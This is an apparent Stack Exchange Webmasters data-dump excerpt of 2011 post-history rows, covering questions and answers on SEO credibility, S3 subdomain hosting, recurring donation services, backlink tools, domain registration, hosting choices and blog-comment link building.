  <row Id="29971" PostHistoryTypeId="5" PostId="13007" RevisionGUID="c166bb81-506d-4b21-bdfa-afbed7c3b538" CreationDate="2011-04-28T14:18:09.160" UserId="1253" Comment="added 289 characters in body" Text="*(I had to stop writing at some point. I'll probably continually revise this. Keep in mind, this isn't meant to be a comprehensive lesson in SEO. It's meant to help demonstrate how simple SEO is and how to spot the people who have strayed from that reality.)*&#xD;&#xA;&#xD;&#xA;I actually don't like any of the websites recommended by the above users for the following reasons:&#xD;&#xA;&#xD;&#xA; - **They're in it for the money.** They don't do this because of their altruistic nature. They're out to make a buck. They don't care about you or your website and will do whatever they can to get you to part with your money. (This ties into the next item).&#xD;&#xA;&#xD;&#xA; - **They make you think SEO is changing constantly.** Guess what? It isn't. But they have to constantly churn out theories and tools and nonsense in order to make you think that SEO is this bing complicated thing that requires &quot;experts&quot; like them and expensive books and tools and constant work and gathering of information in order to succeed. It's simply untrue. (Every time you visit their site looking for the latest hot tip or trick (*barf*) you're making them money).&#xD;&#xA;&#xD;&#xA; - **They're wrong or behind the curve a lot.** Because they're job is to constantly spew out &quot;information&quot; they tend to offer advice that is misguided or flat out wrong. (I don't have any examples handy but if you look around it isn't hard to find). But they don't care if they're wrong because it isn't their bottom line they're hurting and they can always claim &quot;SEO is a changing game&quot; and it's not their fault they were wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you chek these forums, or anywhere I lurk for that matter, you'll see that the only SEO guru that I recommend (or even call guru) is [Chris Beasley][1]. Not only does he have a long history of getting it right  (and before anyone else does, check out his site and the SitePoint SEO forums) but he doesn't pretend that SEO is this big complex constantly changing game. It's zero BS SEO advice. Take it or leave it. He doesn't really care what you do because he's not trying to get rich off of people's ignorance. He's glad to share his knowledge and if you take advantage of that, cool. If you don't, oh well.&#xD;&#xA;&#xD;&#xA;As for how you can tell what's good SEO advice and what's not? Here's two litmus tests you can use. One for the source of the information, one for the information itself.&#xD;&#xA;&#xD;&#xA;**SEO Source Litmus Test**&#xD;&#xA;&#xD;&#xA; - Are they trying to profit from the information? If &quot;yes&quot; it's less credible.&#xD;&#xA;&#xD;&#xA; - Do they have any kind of testing or other empirical evidence that backs up their claim? If &quot;no&quot; it's less credible.&#xD;&#xA;&#xD;&#xA; - Does the person offer logic and reason to back up their conclusion that doesn't violate any of the *SEO Information Litmus Test* items below? If &quot;yes&quot; then the information is less credible.&#xD;&#xA;&#xD;&#xA; - If the advice is in a forum or some other community, what kind of response does the user get? Lots of agreement? Or disagreement? Who is agreeing/disagreeing? If it's a newbie who is only supported by other newbies (the &quot;me too&quot; people) then it's less credible.&#xD;&#xA;&#xD;&#xA; - Was an experiment performed? If so was it done well? (Did they have a control group? Did they rule out other external factors? Can they repeat it)? If not they are less credible.&#xD;&#xA;&#xD;&#xA;**SEO Information Litmus Test**&#xD;&#xA;&#xD;&#xA;SEO is really just making sure a website is built properly. Yes, it's that simple. And it can be broken down into four categories. They are:&#xD;&#xA;&#xD;&#xA; 1. **Usability** - People are stupid. We all know that. A good website will assume every user is stupid and needs to have their hand held as they use the website. This means everything is clearly labeled and flows in a logical manner. How does this affect SEO? If everything is clearly labeled and flows in a logical manner then search engines will also be able to follow it and understand what it is doing and where it is. Needless to say that's very important when determining what a page is about and how everything relates to each other.&#xD;&#xA;&#xD;&#xA;  (What falls under usability? cross-linking internal pages, sitemaps, proper page and heading text)&#xD;&#xA;&#xD;&#xA; 2. **Accessibility** - A well-built website can be used by *anyone*. This includes visually and physically impaired users. So, you need to make sure your website can be used by someone with no JavaScript, images, CSS capabilities, mouse, etc. How does this affect SEO? Search engine bots are not much different then a blind user. In fact if you use a screen reader you can get a pretty good idea of what Googlebot is experiencing. So if your site is accessible to impaired humans, it will be available to search engines.&#xD;&#xA;&#xD;&#xA;  (What falls under accessibility? alt attributes, not relying on JavaScript for content)&#xD;&#xA;&#xD;&#xA; 3. **Semantic markup** - Any experienced web developer will tell you that separating your JavaScript and CSS and using the proper tags for markup makes the site much easier to maintain and offers external tools (directory crawlers, etc) the information they want quite easily. Plus if you use proper markup your site is &quot;futureproof&quot; as you can be sure standards compliant user-agents will render your site properly. How does this affect SEO? HTML markup is a *big* indicator to search engines as to the meaning and value of content. Using the proper markup allows any user-agent to comprehend data format and structure. It tells them what's important and what kind of information it is (knowledge, address, table of contents, etc).&#xD;&#xA;&#xD;&#xA;  (What falls under semantic markup? microformats, tags like `&lt;address&gt;` and `&lt;abbr&gt;`, using heading tags)&#xD;&#xA;&#xD;&#xA; 4. **Content quality** - People aren't surfing the Internet looking for garbage. They're looking for information that solves a need they have (to know something, to be amused, etc). The better the content the more likely they are to come back and, even better, tell their friends. How does this affect SEO? *This is how you get quality links to your website!!* Search engines have a difficult telling quality from crap. So they rely on other webmasters to do it for them. That's why links from external sites carry so much weight. (We'll save the quality issue for another day).&#xD;&#xA;&#xD;&#xA;  (What falls under content quality? original content, links from external sites)&#xD;&#xA;&#xD;&#xA;If a piece of advice does not fall into one of these categories then it's probably just plain old wrong.&#xD;&#xA;&#xD;&#xA;(Seeking links from other website is *marketing*. It can be debated if it should be listed here. I chose not to as quality content can do that for you).&#xD;&#xA;&#xD;&#xA;**Other helpful information**&#xD;&#xA;&#xD;&#xA; - SE algorithms consists of two basic parts: page ranking and spam control. 99% of the people who talk about SEO do not know this and confuse the two which causes lots of problems. (FYI, Matts Cutts is the head of the Google Spam Control team). So when people say &quot;SEO is constantly changing&quot; they're wrong. How pages are ranked has barely changed in years. What is constantly changing is the search engines' ability to fight and remove spam. If spam fighting techniques is affecting your site then it isn't affecting your SEO, it's affecting the fact that you have a crappy website in some way or market your website improperly and need to address those issues. But the basic factors for ranking pages was figured out a long time ago hasn't needed to change. It's how the spam is handled that needs to change (and is).&#xD;&#xA;&#xD;&#xA; - If you have to go back and &quot;SEO your website&quot; then you built it wrong to begin with. Those four basic principles aren't SEO factors, *they're how a website is supposed to be built*. All users want is a website that they can use and has good content. It's no coincidence that search engines want the exact same thing.&#xD;&#xA;&#xD;&#xA; - Ask yourself this question: Am I doing this because it will make my website better or am I doing this to manipulate my search rankings. If you answer the former you'll be alright. If you answer the latter then the odds are it's going to bite you in the butt somewhere down the road.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/" />
  <row Id="29972" PostHistoryTypeId="2" PostId="13041" RevisionGUID="461f17ca-eda6-46c1-bdef-c7fddfb73e38" CreationDate="2011-04-28T14:52:50.160" UserId="7160" Text="Three simple steps for this:&#xD;&#xA;&#xD;&#xA;1. Your S3 bucket must be named the same as your desired subdomain: &quot;www.domain.com&quot;.&#xD;&#xA;&#xD;&#xA;2. You need to setup a CNAME record to in your DNS to point your subdomain to the S3 bucket:&#xD;&#xA;           CNAME  www.domain.com  -&gt;  www.domain.com.s3.amazonaws.com&#xD;&#xA;&#xD;&#xA;3. You need to make you splash page the &quot;index document&quot; for the bucket so that it will open by default. (See: [http://docs.amazonwebservices.com/AmazonS3/latest/dev/index.html?IndexDocumentSupport.html][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.amazonwebservices.com/AmazonS3/latest/dev/index.html?IndexDocumentSupport.html" />
  <row Id="29973" PostHistoryTypeId="2" PostId="13042" RevisionGUID="d156f8fa-b058-449a-acce-c5a05cabe708" CreationDate="2011-04-28T15:06:32.950" UserId="7161" Text="i'd like to put up a donation system for a nonprofit(outside US, central europe, no paypal/google checkout benefits apply) without too much coding/integration and with a checkout process as simple as possible from user POV.&#xD;&#xA;&#xD;&#xA;Paypal is not an option, since for recurring donations it requires registration and the paygate is only in major languages.&#xD;&#xA;&#xD;&#xA;What is the simplest/most efficient method to do this?" />
  <row Id="29974" PostHistoryTypeId="1" PostId="13042" RevisionGUID="d156f8fa-b058-449a-acce-c5a05cabe708" CreationDate="2011-04-28T15:06:32.950" UserId="7161" Text="What is the simplest way to accept recurring donations? (except paypal)" />
  <row Id="29975" PostHistoryTypeId="3" PostId="13042" RevisionGUID="d156f8fa-b058-449a-acce-c5a05cabe708" CreationDate="2011-04-28T15:06:32.950" UserId="7161" Text="&lt;payments&gt;&lt;paypal&gt;&lt;payment-gateway&gt;&lt;non-profit&gt;" />
  <row Id="29976" PostHistoryTypeId="25" PostId="13038" RevisionGUID="d1d1586e-e52f-4b36-877b-cf53beaf0b3e" CreationDate="2011-04-28T15:09:23.177" Comment="http://twitter.com/#!/StackWebmasters/status/63620832445988864" />
  <row Id="29977" PostHistoryTypeId="2" PostId="13043" RevisionGUID="b8a69c43-03c1-4953-83c5-7134325f3237" CreationDate="2011-04-28T15:11:46.133" UserId="7162" Text="To share an image in a user's stream can be as simple as adding a correctly formatted link.  However, I'm fairly sure that to upload to a user's album by clicking a button you'd have to make use of Facebook's API.  While that's not a detailed answer, I have unfortunately never worked with it personally, so I don't have an example implementation.  &#xD;&#xA;&#xD;&#xA;The place to start with Facebook's API documentation is http://developers.facebook.com/docs/reference/api/photo/.  I also found this blog post whose link I can't post because of the limit, but it uses PHP anyway.&#xD;&#xA;&#xD;&#xA;For .NET type stuff I found http://www.datasprings.com/resources/articles-information/developing-with-facebook-api-sdk-w-asp.net.  I can't provide a link to the SDK I found due to the limit." />
  <row Id="29978" PostHistoryTypeId="2" PostId="13044" RevisionGUID="a4be7acf-621e-4adb-8a91-3483b62e053b" CreationDate="2011-04-28T15:15:26.397" UserId="1643" Text="If you use [Worldpay][1] then you could pull repeated donations by charging the users credit cards whenever they've agreed to this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.worldpay.com/" />
  <row Id="29979" PostHistoryTypeId="2" PostId="13045" RevisionGUID="fd67a7ec-4112-4db2-bfed-07c4d6ec4074" CreationDate="2011-04-28T16:34:43.163" UserId="480" Text="It depends on what you would like to stress?&#xD;&#xA;&#xD;&#xA;Some examples we like to use (that are specific to Webmasters, as opposed to the kind of solutions you would find on [ServerFault][1], [where the question is also posted][2]) are:&#xD;&#xA;&#xD;&#xA; - stability under truly random [RED][3] conditions, consider everyone else's Internet is broken and dropping packets&#xD;&#xA; - concurrent users behind different proxies (especially [where the admin is trying to cache YouTube][4] and other video streaming servers), [JeOS][5] instances under [KVM][6] are your friend here&#xD;&#xA; - simultaneous [HTTP Content-Range requests][7] (the more invalid ones mixed in the better)&#xD;&#xA; - testing the system under a simulated [TCP Global Synchronisation][8] event&#xD;&#xA; - using [Slowloris][9] &#xD;&#xA; - deliberately reordering packets (especially with multicast)&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/&#xD;&#xA;  [2]: http://serverfault.com/questions/264149/stress-test-video-streaming&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Random_early_detection&#xD;&#xA;  [4]: http://wiki.squid-cache.org/ConfigExamples/DynamicContent/YouTube&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Just_enough_operating_system&#xD;&#xA;  [6]: http://www.linux-kvm.org&#xD;&#xA;  [7]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html&#xD;&#xA;  [8]: http://en.wikipedia.org/wiki/TCP_global_synchronization&#xD;&#xA;  [9]: http://en.wikipedia.org/wiki/Slowloris" />
  <row Id="29980" PostHistoryTypeId="5" PostId="13042" RevisionGUID="6222a463-5eb7-4bfc-ba5b-a969dc90c9af" CreationDate="2011-04-28T16:44:51.140" UserId="108" Comment="deleted 1 characters in body" Text="I'd like to put up a donation system for a nonprofit(outside US, central europe, no paypal/google checkout benefits apply) without too much coding/integration and with a checkout process as simple as possible from the user's POV.&#xD;&#xA;&#xD;&#xA;Paypal is not an option, since for recurring donations it requires registration and the paygate is only in major languages.&#xD;&#xA;&#xD;&#xA;What is the simplest/most efficient method to do this?" />
  <row Id="29981" PostHistoryTypeId="25" PostId="13042" RevisionGUID="194f43ff-57ac-4522-8a59-b1d5aa6a06da" CreationDate="2011-04-28T18:09:23.717" Comment="http://twitter.com/#!/StackWebmasters/status/63666133605154816" />
  <row Id="29982" PostHistoryTypeId="2" PostId="13046" RevisionGUID="7faac128-7e54-44c5-834e-c223b7868c6f" CreationDate="2011-04-28T18:09:58.570" UserId="7167" Text="Take a look at something like [Spreedly][1] or [Recurly][2]. It's pretty simple to set up and they both have different ways to handle new subscriptions (through API or through a web form).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.spreedly.com&#xD;&#xA;  [2]: http://recurly.com/" />
  <row Id="29983" PostHistoryTypeId="6" PostId="11248" RevisionGUID="298fbd5f-1d51-4f63-be60-a4ec14c91a92" CreationDate="2011-04-28T18:14:14.223" UserId="4502" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;amazon-ec2&gt;&lt;plone&gt;" />
  <row Id="29984" PostHistoryTypeId="5" PostId="11318" RevisionGUID="b5ea3d0b-4601-4d36-bcd1-8c252b5da417" CreationDate="2011-04-28T18:47:26.870" UserId="1253" Comment="Removed subjective question again" Text="What is the best website out there when it comes to tagging information, be it photos, videos, etc. I love how stack overflow allows one to tag anything, but it is missing some features -- like stack overflow tags can't have spaces.&#xD;&#xA;&#xD;&#xA;What are good examples of websites out there whose tagging mechanism is a great example for any upcoming websites?&#xD;&#xA;" />
  <row Id="29985" PostHistoryTypeId="2" PostId="13047" RevisionGUID="96301641-c6ec-4b46-9142-4a3638653cee" CreationDate="2011-04-28T19:17:59.087" UserId="6033" Text="I'm working on a site that has a template with a number of static links to social sites such as twitter, facebook, etc. To avoid those counting as external links from each page, should I put them in an iframe? Is there a benefit or drawback to doing this?&#xD;&#xA;&#xD;&#xA;How are social links typically handled?" />
  <row Id="29986" PostHistoryTypeId="1" PostId="13047" RevisionGUID="96301641-c6ec-4b46-9142-4a3638653cee" CreationDate="2011-04-28T19:17:59.087" UserId="6033" Text="iframe links to social sites?" />
  <row Id="29987" PostHistoryTypeId="3" PostId="13047" RevisionGUID="96301641-c6ec-4b46-9142-4a3638653cee" CreationDate="2011-04-28T19:17:59.087" UserId="6033" Text="&lt;iframe&gt;" />
  <row Id="29996" PostHistoryTypeId="2" PostId="13050" RevisionGUID="7721b8df-ae98-433e-95c3-1bcd989c3275" CreationDate="2011-04-28T20:30:48.743" UserId="7145" Text="I am competing to get the highest rank search in Google for a particular keyword search. My site is now ranked at the third page. I would like to know what back links does the site that rank 1st is coming from, if possible what are the different strategy they have done. &#xD;&#xA;Is there a free tool that would allow me to do this?&#xD;&#xA;&#xD;&#xA;Any tips on what I need to do to proceed? I have done all the basic stuff, ranging from meta tags, title, h1, update your site regularly, keep it clean, relevant, useful, no errors on the page, submit sitemaps, social bookmarking... what else am I missing here?" />
  <row Id="29997" PostHistoryTypeId="1" PostId="13050" RevisionGUID="7721b8df-ae98-433e-95c3-1bcd989c3275" CreationDate="2011-04-28T20:30:48.743" UserId="7145" Text="free tool to analyze competitors website" />
  <row Id="29998" PostHistoryTypeId="3" PostId="13050" RevisionGUID="7721b8df-ae98-433e-95c3-1bcd989c3275" CreationDate="2011-04-28T20:30:48.743" UserId="7145" Text="&lt;seo&gt;" />
  <row Id="29999" PostHistoryTypeId="2" PostId="13051" RevisionGUID="c0518681-6dc5-471b-8a65-71c68ebb1902" CreationDate="2011-04-28T20:37:20.770" UserId="7055" Text="Launching a e-commerce site soon and was hoping on some community feed back in regards to the CDN that nexcess provides.  Any review or personal experiences would be appreciated.&#xD;&#xA;&#xD;&#xA;Regards, &#xD;&#xA;chipShot" />
  <row Id="30000" PostHistoryTypeId="1" PostId="13051" RevisionGUID="c0518681-6dc5-471b-8a65-71c68ebb1902" CreationDate="2011-04-28T20:37:20.770" UserId="7055" Text="Magento Nexcess CDN" />
  <row Id="30001" PostHistoryTypeId="3" PostId="13051" RevisionGUID="c0518681-6dc5-471b-8a65-71c68ebb1902" CreationDate="2011-04-28T20:37:20.770" UserId="7055" Text="&lt;magento&gt;&lt;cdn&gt;" />
  <row Id="30002" PostHistoryTypeId="2" PostId="13052" RevisionGUID="43693be7-9891-4fe6-8de5-9c86dd4e7b8a" CreationDate="2011-04-28T20:39:49.763" UserId="1253" Text="&gt;I would like to know what back links does the site that rank 1st is coming from&#xD;&#xA;&#xD;&#xA;There's no way to know all of them because Google doesn't report all them (except possibly to the site owner in webmaster tools). Yahoo site explorer will show you links to another site but I don't believe it is complete either nor does it have nearly the same volume of links as Google does thanks to Google's larger index.&#xD;&#xA;&#xD;&#xA;&gt; if possible what are the different strategy they have done&#xD;&#xA;&#xD;&#xA;There is no such thing as a &quot;SEO strategy&quot;. [SEO is just a well built website][1]. If you have a strategy then your website is probably broken and you are focusing on the wrong stuff.&#xD;&#xA;&#xD;&#xA;&gt;Any tips on what I need to do to proceed? I have done all the basic stuff, ranging from meta tags, title, h1, update your site regularly, keep it clean, relevant, useful, no errors on the page, submit sitemaps, social bookmarking... what else am I missing here?&#xD;&#xA;&#xD;&#xA;[This has been covered here already][2].&#xD;&#xA;&#xD;&#xA;Just focus on continually improving your website and marketing it (getting links is marketing). And be patient. It takes time to rank well especially if the terms you want to rank well for are competitive.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/12960/seo-how-to-separate-fact-from-fiction/13007#13007&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google" />
  <row Id="30003" PostHistoryTypeId="10" PostId="13051" RevisionGUID="095405e7-3b7c-4194-844f-a229083a0afb" CreationDate="2011-04-28T20:40:43.727" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30007" PostHistoryTypeId="5" PostId="13052" RevisionGUID="367d97f5-6fb3-49de-bdba-47f1e497a701" CreationDate="2011-04-28T20:45:35.020" UserId="1253" Comment="added 322 characters in body; added 1 characters in body" Text="&gt;I would like to know what back links does the site that rank 1st is coming from&#xD;&#xA;&#xD;&#xA;There's no way to know all of them because Google doesn't report all them (except possibly to the site owner in webmaster tools). Yahoo site explorer will show you links to another site but I don't believe it is complete either nor does it have nearly the same volume of links as Google does thanks to Google's larger index.&#xD;&#xA;&#xD;&#xA;&gt; if possible what are the different strategy they have done&#xD;&#xA;&#xD;&#xA;There is no such thing as a &quot;SEO strategy&quot;. [SEO is just a well built website][1]. If you have a strategy then your website is probably broken and you are focusing on the wrong stuff.&#xD;&#xA;&#xD;&#xA;&gt;Any tips on what I need to do to proceed? I have done all the basic stuff, ranging from meta tags, title, h1, update your site regularly, keep it clean, relevant, useful, no errors on the page, submit sitemaps, social bookmarking... what else am I missing here?&#xD;&#xA;&#xD;&#xA;[This has been covered here already][2].&#xD;&#xA;&#xD;&#xA;Just focus on continually improving your website and marketing it (getting links is marketing). And be patient. It takes time to rank well especially if the terms you want to rank well for are competitive.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA;[Free seo tools for competitor analysis?][3]   &#xD;&#xA;[How should I study a competitor's off page SEO?][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/12960/seo-how-to-separate-fact-from-fiction/13007#13007&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/2818/free-seo-tools-for-competitor-analysis&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/5872/how-should-i-study-a-competitors-off-page-seo" />
  <row Id="30008" PostHistoryTypeId="2" PostId="13053" RevisionGUID="07b07ddf-1146-4098-8042-bc583cc23a69" CreationDate="2011-04-28T21:08:36.143" UserId="7172" Text="I'm new to SEO and website management, but eager to learn. I manage a newly revamped site and I'm tracking it on Google Analytics and in Google Webmaster tools.&#xD;&#xA;The Webmaster tools show that I get about 3200 impressions and 180 click through's a week. Google Analytics show that no traffic comes from search engins, all of the traffic is direct. On average, I get about 60-80 visitors a day, shouldn't Google Analytics show at least a few of those visitors as having come from the search engines?.&#xD;&#xA;&#xD;&#xA;What does that discrepancy mean? I can't seem to wrap my mind around it...&#xD;&#xA;&#xD;&#xA;Thank you in advance,&#xD;&#xA;Svetlana&#xD;&#xA;" />
  <row Id="30009" PostHistoryTypeId="1" PostId="13053" RevisionGUID="07b07ddf-1146-4098-8042-bc583cc23a69" CreationDate="2011-04-28T21:08:36.143" UserId="7172" Text="ClickThrough on Google Webmaster Tool and Traffic Source in Google Analytics" />
  <row Id="30010" PostHistoryTypeId="3" PostId="13053" RevisionGUID="07b07ddf-1146-4098-8042-bc583cc23a69" CreationDate="2011-04-28T21:08:36.143" UserId="7172" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="30011" PostHistoryTypeId="25" PostId="13050" RevisionGUID="2ed9ed44-eecf-435e-8f80-fc5d318cedea" CreationDate="2011-04-28T21:09:23.897" Comment="http://twitter.com/#!/StackWebmasters/status/63711433329885184" />
  <row Id="30012" PostHistoryTypeId="2" PostId="13054" RevisionGUID="c9bd969b-f8de-4f9d-9fcd-ae042bd290d7" CreationDate="2011-04-28T21:33:50.887" UserId="7171" Text="Hey Igor - what type of volume are you increasing to? I work for Dyn, an IaaS company that specializes in email delivery, so I'm curious of whether we could help.&#xD;&#xA;&#xD;&#xA;With email delivery, you have to worry about ISP relations, infrastructure, maintaining the infrastructure, personnel, etc. Our philosophy is simple: &quot;Why build that all when we did it for you?&quot;&#xD;&#xA;&#xD;&#xA;Great to hear your sender scores are up there. If you ever want some insight into what we do -- even just for comparison sake -- let me know. I've worked in both the front and back end, so I speak the language. &#xD;&#xA;&#xD;&#xA;- Josh Nason&#xD;&#xA;@JoshNason | @DynInc" />
  <row Id="30016" PostHistoryTypeId="2" PostId="13056" RevisionGUID="cf252a4a-6f16-4696-8c8a-756cbd971a0d" CreationDate="2011-04-28T22:15:02.573" UserDisplayName="Cemre" Text="What is the best place to buy/register a domain name? (eg. to get a web site like www.mysite.com) Also, once I have that how can I add content there? Any suggestions ? I am a bit new to this web business/programming so I apologize if this sounds like a funny question. Thanks." />
  <row Id="30017" PostHistoryTypeId="1" PostId="13056" RevisionGUID="cf252a4a-6f16-4696-8c8a-756cbd971a0d" CreationDate="2011-04-28T22:15:02.573" UserDisplayName="Cemre" Text="Buying/registering domain name" />
  <row Id="30018" PostHistoryTypeId="3" PostId="13056" RevisionGUID="cf252a4a-6f16-4696-8c8a-756cbd971a0d" CreationDate="2011-04-28T22:15:02.573" UserDisplayName="Cemre" Text="&lt;url&gt;&lt;websites&gt;&lt;domains&gt;" />
  <row Id="30019" PostHistoryTypeId="17" PostId="13056" RevisionGUID="5e6a28bd-c196-4ebf-9ae4-67fca6e1f1b0" CreationDate="2011-04-28T22:18:03.540" UserId="-1" Comment="from http://stackoverflow.com/questions/5825663/buying-registering-domain-name" Text="" />
  <row Id="30020" PostHistoryTypeId="2" PostId="13057" RevisionGUID="525dc7ce-a9c0-459b-8c7d-156090a03742" CreationDate="2011-04-28T22:19:28.883" UserId="7174" Text="There are many places and I suggest you take a look at this list&#xD;&#xA;&#xD;&#xA;[http://lists.econsultant.com/top-10-domain-name-registrars.html][1]&#xD;&#xA;&#xD;&#xA;It seems though that you would like to have hosting for this as well so if you want files to be hosted too then check out this one instead&#xD;&#xA;&#xD;&#xA;[http://webhostinggeeks.com/][2]&#xD;&#xA;&#xD;&#xA;To add content the hosts usually have ways of uploading like [FTP][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.econsultant.com/top-10-domain-name-registrars.html&#xD;&#xA;  [2]: http://webhostinggeeks.com/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/File_Transfer_Protocol" />
  <row Id="30022" PostHistoryTypeId="2" PostId="13058" RevisionGUID="b3a2aa18-5408-4da9-8d28-a72cb7626adc" CreationDate="2011-04-28T22:24:19.457" UserId="7175" Text="I am a relative beginner when it comes to choosing web servers and hosting plans. I'm about to signup for a hosting plan with GoDaddy. My main requirement is ColdFusion and MySQL. The plans on offer include Linux and Windows based plans.&#xD;&#xA;&#xD;&#xA;Which one should I choose, and why? I don't have a lot of requirements other than what I mentioned above. I never used Linux before but I doubt I'll ever need to do anything beyond tampering with my account.&#xD;&#xA;&#xD;&#xA;What are the main advantages of one over the other?" />
  <row Id="30023" PostHistoryTypeId="1" PostId="13058" RevisionGUID="b3a2aa18-5408-4da9-8d28-a72cb7626adc" CreationDate="2011-04-28T22:24:19.457" UserId="7175" Text="How can I choose between Linux and Windows hosting?" />
  <row Id="30024" PostHistoryTypeId="3" PostId="13058" RevisionGUID="b3a2aa18-5408-4da9-8d28-a72cb7626adc" CreationDate="2011-04-28T22:24:19.457" UserId="7175" Text="&lt;web-hosting&gt;&lt;linux&gt;&lt;windows&gt;" />
  <row Id="30025" PostHistoryTypeId="2" PostId="13059" RevisionGUID="01b4a3e8-1c35-4cca-aa16-a1e4cc28b38d" CreationDate="2011-04-28T22:41:28.443" UserId="1112" Text="Is there an application or site that can generate a back link report for a give web page?&#xD;&#xA;&#xD;&#xA;The sort of information I'd like to see in this report, for each back link, would be:&#xD;&#xA;&#xD;&#xA;1. Page's Title&#xD;&#xA;2. Page's PageRank&#xD;&#xA;3. Page's URL&#xD;&#xA;" />
  <row Id="30026" PostHistoryTypeId="1" PostId="13059" RevisionGUID="01b4a3e8-1c35-4cca-aa16-a1e4cc28b38d" CreationDate="2011-04-28T22:41:28.443" UserId="1112" Text="Back link report" />
  <row Id="30027" PostHistoryTypeId="3" PostId="13059" RevisionGUID="01b4a3e8-1c35-4cca-aa16-a1e4cc28b38d" CreationDate="2011-04-28T22:41:28.443" UserId="1112" Text="&lt;backlinks&gt;" />
  <row Id="30028" PostHistoryTypeId="2" PostId="13060" RevisionGUID="e6b71bf4-85ce-44d1-a908-b518a32ed1fe" CreationDate="2011-04-28T22:53:49.900" UserId="6389" Text="Your asking about two different services. Domain registration and Web hosting. If your a beginner it will be simpler to buy both services from the same company. It's the hosting part you need to look into as this even for very cheap hosting it will cost you 5x more and there are more options to consider with hosting.&#xD;&#xA;&#xD;&#xA;Assuming your site is going to be simple go to one of the big name hosting companies and buy their cheapest package. The large companies are used to dealing with beginners and will have help articles on their site to guide you through. In the UK big consumer hosts are 123-reg,1&amp;1 and heart internet. I don't know about other countries, unless you have reason not to go with a provider in the same country as you are located.&#xD;&#xA;&#xD;&#xA;If you planing a complex site that would cause you financial loss of it went down then employ a professional. " />
  <row Id="30029" PostHistoryTypeId="5" PostId="13056" RevisionGUID="ba4efb4f-12f2-4fda-9e2f-9b1351aed13c" CreationDate="2011-04-28T23:20:31.903" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Who is a great domain registrar company?](http://webmasters.stackexchange.com/questions/9/who-is-a-great-domain-registrar-company)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What is the best place to buy/register a domain name? (eg. to get a web site like www.mysite.com) Also, once I have that how can I add content there? Any suggestions ? I am a bit new to this web business/programming so I apologize if this sounds like a funny question. Thanks." />
  <row Id="30030" PostHistoryTypeId="10" PostId="13056" RevisionGUID="3b45965a-9d29-45fc-b90e-5a7c00aee252" CreationDate="2011-04-28T23:20:31.390" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30031" PostHistoryTypeId="2" PostId="13061" RevisionGUID="6c5ad888-2fbc-4bde-8c27-e973407804b7" CreationDate="2011-04-28T23:31:18.740" UserId="7111" Text="I've searched the net and wasn't able to find a solid answer to this. Is it poor practice to seek out blogs that are related to your site, and post comments relevant to the particular blog post, in order to gain backlinks?&#xD;&#xA;&#xD;&#xA;For example, if my site was called &quot;TAFSpecialists.com&quot;, or &quot;The Ant Farm Specialists&quot; and I posted comments on relevant blogs using the name The Ant Farm Specialists and TAFSpecialists.com as the website URL, will Google penalize my site? Or is it beneficial, as I originally thought? I'm not spamming blogs, but rather contributing intelligent comments to their blog post. Thoughts?" />
  <row Id="30032" PostHistoryTypeId="1" PostId="13061" RevisionGUID="6c5ad888-2fbc-4bde-8c27-e973407804b7" CreationDate="2011-04-28T23:31:18.740" UserId="7111" Text="Is it a bad idea to promote your site through relevant blog's by commenting?" />
  <row Id="30033" PostHistoryTypeId="3" PostId="13061" RevisionGUID="6c5ad888-2fbc-4bde-8c27-e973407804b7" CreationDate="2011-04-28T23:31:18.740" UserId="7111" Text="&lt;seo&gt;&lt;blog&gt;&lt;backlinks&gt;&lt;comments&gt;" />
  <row Id="30034" PostHistoryTypeId="2" PostId="13062" RevisionGUID="9ebea93e-7913-47ed-848b-42288d919e3f" CreationDate="2011-04-28T23:35:59.603" UserId="1253" Text="That's perfectly fine to do as long as your comments are thoughtful and contribute to the discussion. Otherwise you're just a spammer. &#xD;&#xA;&#xD;&#xA;Google won't penalize these links but keep in mind that most blogs use nofollow on their links because of spammers and users who leave comments only for the backlinks. So this strategy won't get you very far unless you happen to find an uncanny amount of blogs in your industry that do not use nofollow. I'd be stunned if you did.&#xD;&#xA;&#xD;&#xA;Additionally, if enough blog owners mark your comments as spam Akismet will begin to flag all of your comments as spam and then even when you do leave a legitimate comment it won't ever be seen because it will be flagged as spam before it even reaches their comment queue.&#xD;&#xA;&#xD;&#xA;On a non-seo front this may be good to do as human beings *may* follow those links and find your site. " />
  <row Id="30035" PostHistoryTypeId="2" PostId="13063" RevisionGUID="e6d0878e-cb5a-4d71-b648-8470fa98e043" CreationDate="2011-04-28T23:37:58.277" UserId="7076" Text="Because of nofollow on comment links it won't matter. If you try putting your site name and link in the body of your comment be ready to get hit by the spam stick." />
